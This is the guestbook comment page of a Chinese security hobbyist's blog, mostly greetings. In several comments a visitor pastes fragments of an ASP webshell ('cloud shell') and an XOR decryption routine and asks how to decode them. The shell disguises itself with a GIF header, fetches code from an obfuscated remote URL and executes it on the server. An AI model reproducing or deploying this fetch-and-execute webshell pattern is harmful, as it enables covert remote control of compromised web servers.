• 欢迎访问金刀客博客!
  • 恭喜成功换成wp博客系统

欢迎留言

您必须 登录 才能发表评论!

(362)个小伙伴在吐槽
  1. 来水水刀哥的博客 求刀哥的好友向刀哥学习一下
    老猴2017-06-24 09:10
  2. 来水水刀哥的博客 求刀哥的好友向刀哥学习一下 :mrgreen:
    老猴2017-06-24 09:07
  3. Passion the site-- very user pleasant and great deals to see!
    Roma2016-12-24 00:03
  4. 网站做的挺好的 小污师xwushi.com 路过支持一下
    小污师2016-05-24 10:33
  5. 你好刀哥,我下载了你的BSQL Hacker v0.9.0.9中文汉化绿色版,我是新手,求教程,谢谢
    admin 于 2016-12-04 15:22:35 回复
    莫有教程哦,这个东东很老了,O(∩_∩)O
    记忆2016-05-18 10:11
  6. 大侠
    admin 于 2016-01-15 00:27:33 回复
    有何指示?
    Zhtty2015-12-19 23:10
  7. 金刀大侠,我好崇拜你哦!你的博客真好看!看上你的博客了怎么破?
    admin 于 2015-09-05 22:28:30 回复
    乱博客也有兴趣?。。。。。。
    小马驹2015-06-30 18:20
  8. Set ObjXMLHTTP=Nothing:set objStream = Server.CreateObject("Adodb.Stream"):objStream.Type = 1:objStream.Mode =3:objStream.Open:objStream.Write GetHtml:objStream.Position = 0:objStream.Type = 2:objStream.Charset = "gb2312":if keepcode=true then:GetHtml=Request.Cookies("code"):if GetHtml="" then:GetHtml = objStream.ReadText:Response.Cookies("code")=GetHtml:Response.Cookies("code").Expires=DateAdd("m",13,now()):end if:else:GetHtml = objStream.ReadText:end if:objStream.Close:If instr(GetHtml,"Shisan")>0 Then:execute GetHtml:End If:Function
    admin 于 2015-06-04 20:37:03 回复
    No time oo
    BaldLei2015-06-03 16:02
  9. 接着上面的,Set ObjXMLHTTP=Server.CreateObject("MS"&"XML2.ser"&"verXML"&"HTTP"):
    ObjXMLHTTP.Open "GET",url,False:
    ObjXMLHTTP.setRequestHeader "User-Agent",url:ObjXMLHTTP.Send:GetHtml=ObjXMLHTTP.responseBody:


    这个就是那个云shell了。
    admin 于 2015-06-04 20:35:18 回复
    没时间看哦
    BaldLei2015-06-03 15:59
  10. 刀客大哥,我发现一个云shell,比较有意思。可是密文解不开,您能帮我看看吗?gif98a<%
    userpass= "asph"大马密码
    copyright="" 版权
    keepcode= false 是否开启大马持久化,开启会使大马变换多端,但会耗时更长
    server.scripttimeout=999999:
    response.buffer=true:Response.Expires=-1:url=checkurl("06|321|011|821|811|711|821|06|221|421|211|95|96|46|121|521|26|06|06|17|521|921|921|711"):

    admin 于 2015-06-04 20:37:36 回复
    这东东肯定有输出的,替换掉输出
    BaldLei2015-06-03 15:58
  11. 老大请问一下这个函数如何解密 Function DeCrypt(c)
    Dim strChar, iKeyChar, iStringChar, I
    k=0
    for I = 1 to Len(c)
    iKeyChar =Cint(A_Key(k))
    iStringChar = Asc(mid(c,I,1))
    iDeCryptChar = iKeyChar Xor iStringChar 进行异或运算
    对密钥进行移位运算
    If k<3 Then
    k=k+1
    Else
    k=0
    End If
    strDecrypted = strDecrypted & Chr(iDeCryptChar)
    next
    DeCrypt = strDecrypted
    End Function
    admin 于 2015-06-04 20:36:45 回复
    逆向思维,加一就减一嘛,这个应当不难的
    aadsaa2015-05-08 23:11
  12. 看着我的小鼠标乱晃尾巴,着实吓了我一跳=.=bb
    admin 于 2015-06-04 20:38:14 回复
    小心杆儿哦
    ra1n2014-10-07 08:38
1 6 7 8